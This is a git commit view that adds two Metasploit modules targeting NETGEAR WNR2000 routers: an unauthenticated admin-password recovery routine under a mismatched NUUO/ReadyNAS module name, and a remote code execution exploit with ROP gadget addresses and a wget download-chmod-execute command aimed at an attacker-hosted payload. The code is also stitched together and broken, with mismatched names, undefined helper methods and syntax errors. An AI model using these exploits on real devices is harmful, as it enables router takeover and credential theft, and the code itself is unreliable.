add sploits
parent
3a9c6626dc
commit
870e8046b5
|
@ -0,0 +1,130 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
|
||||||
|
'Description' => %q{
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Dec 20 2016',
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80)
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_password (q1, q2)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/BRS_netgear_success.html',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res && res.body =~ /var sn="([\w]*)";/
|
||||||
|
serial = $1
|
||||||
|
else
|
||||||
|
puts "[-]Failed to obtain serial number, bailing out..."
|
||||||
|
exit(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
# 1: send serial number
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/apply_noauth.cgi?/unauth.cgi',
|
||||||
|
'method' => 'POST',
|
||||||
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'submit_flag' => 'match_sn',
|
||||||
|
'serial_num' => serial,
|
||||||
|
'continue' => '+Continue+'
|
||||||
|
})
|
||||||
|
|
||||||
|
# 2: send answer to secret questions
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
|
||||||
|
'method' => 'POST',
|
||||||
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'submit_flag' => 'security_question',
|
||||||
|
'answer1' => q1,
|
||||||
|
'answer2' => q2,
|
||||||
|
'continue' => '+Continue+'
|
||||||
|
})
|
||||||
|
|
||||||
|
# 3: PROFIT!!!
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/passwordrecovered.cgi',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.body =~ /Admin Password: (.*)<\/TD>/
|
||||||
|
password = $1
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.body =~ /Admin Username: (.*)<\/TD>/
|
||||||
|
username = $1
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - Success! Got admin username #{username} and password #{password}")
|
||||||
|
return [username, password]
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def run
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||||
|
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 401
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
|
||||||
|
'vars_post' => {
|
||||||
|
'user' => datastore['USERNAME'],
|
||||||
|
'pass' => datastore['PASSWORD'],
|
||||||
|
'submit' => "Login"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
if res && (res.code == 200 || res.code == 302)
|
||||||
|
cookie = res.get_cookies
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
|
||||||
|
end
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||||
|
'cookie' => cookie,
|
||||||
|
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
|
||||||
|
print_good("#{peer} - Device has been reset to the default configuration.")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to reset device.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,172 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'time'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'NETGEAR WNR2000v5 Unauthenticated / Authenticated Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
|
||||||
|
],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'NETGEAR WNR2000v5',
|
||||||
|
{
|
||||||
|
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions
|
||||||
|
'System' => 0x547D0,
|
||||||
|
'Gadget' => 0x2462C,
|
||||||
|
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
|
||||||
|
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
|
||||||
|
#LOAD:00024630 move $t9, $s0
|
||||||
|
#LOAD:00024634 jalr $t9
|
||||||
|
'Arch' => ARCH_MIPSBE,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00\x25\x26"
|
||||||
|
},
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Dec 20 2016',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptBoot.new('REBOOT', [true, 'Reboot the router? (the exploit is more reliable with a reboot)', true]),
|
||||||
|
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
|
||||||
|
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
|
||||||
|
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res && res.headers['WWW-Authenticate']
|
||||||
|
auth = res.headers['WWW-Authenticate']
|
||||||
|
if auth =~ /WNR2000v5/
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
end
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def uri_encode (str)
|
||||||
|
"%" + str.scan(/.{2}|.+/).join("%")
|
||||||
|
end
|
||||||
|
|
||||||
|
def calc_address (libc_base, offset)
|
||||||
|
addr = (libc_base + offset).to_s(16)
|
||||||
|
uri_encode(addr)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_current_time
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res && res['Date']
|
||||||
|
date = res['Date']
|
||||||
|
Time.parse(date).strftime('%s').to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_auth_timestamp(mode)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/lang_check.html',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res && res.code == 401
|
||||||
|
# try again, might fail the first time
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/lang_check.html',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res && res.code == 200
|
||||||
|
if res.body =~ /timestamp=([0-9]{8})/
|
||||||
|
$1.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
print_status("#{peer} - Attempting to exploit #{target.name}")
|
||||||
|
if target == targets[0]
|
||||||
|
send_payload(prepare_shellcode_mips)
|
||||||
|
else
|
||||||
|
downfile = rand_text_alpha(8+rand(8))
|
||||||
|
@pl = generate_payload_exe
|
||||||
|
@elf_sent = false
|
||||||
|
resource_uri = '/' + downfile
|
||||||
|
|
||||||
|
#do not use SSL
|
||||||
|
if datastore['SSL']
|
||||||
|
ssl_restore = true
|
||||||
|
datastore['SSL'] = false
|
||||||
|
end
|
||||||
|
|
||||||
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||||
|
srv_host = Rex::Socket.source_address(rhost)
|
||||||
|
else
|
||||||
|
srv_host = datastore['SRVHOST']
|
||||||
|
end
|
||||||
|
|
||||||
|
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||||
|
print_status("#{peer} - Starting up our web service on #{service_url} ...")
|
||||||
|
start_service({'Uri' => {
|
||||||
|
'Proc' => Proc.new { |cli, req|
|
||||||
|
on_request_uri(cli, req)
|
||||||
|
},
|
||||||
|
'Path' => resource_uri
|
||||||
|
}})
|
||||||
|
|
||||||
|
datastore['SSL'] = true if ssl_restore
|
||||||
|
print_status("#{peer} - Asking the device to download and execute #{service_url}")
|
||||||
|
|
||||||
|
filename = rand_text_alpha_lower(rand(8) + 2)
|
||||||
|
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
|
||||||
|
|
||||||
|
shellcode = prepare_shellcode_arm(cmd)
|
||||||
|
|
||||||
|
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
|
||||||
|
counter = 0.00
|
||||||
|
while (not @elf_sent)
|
||||||
|
if counter % 50.00 == 0 && counter != 0.00
|
||||||
|
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||||
|
end
|
||||||
|
send_payload(shellcode)
|
||||||
|
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
|
||||||
|
counter += 1
|
||||||
|
end
|
||||||
|
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue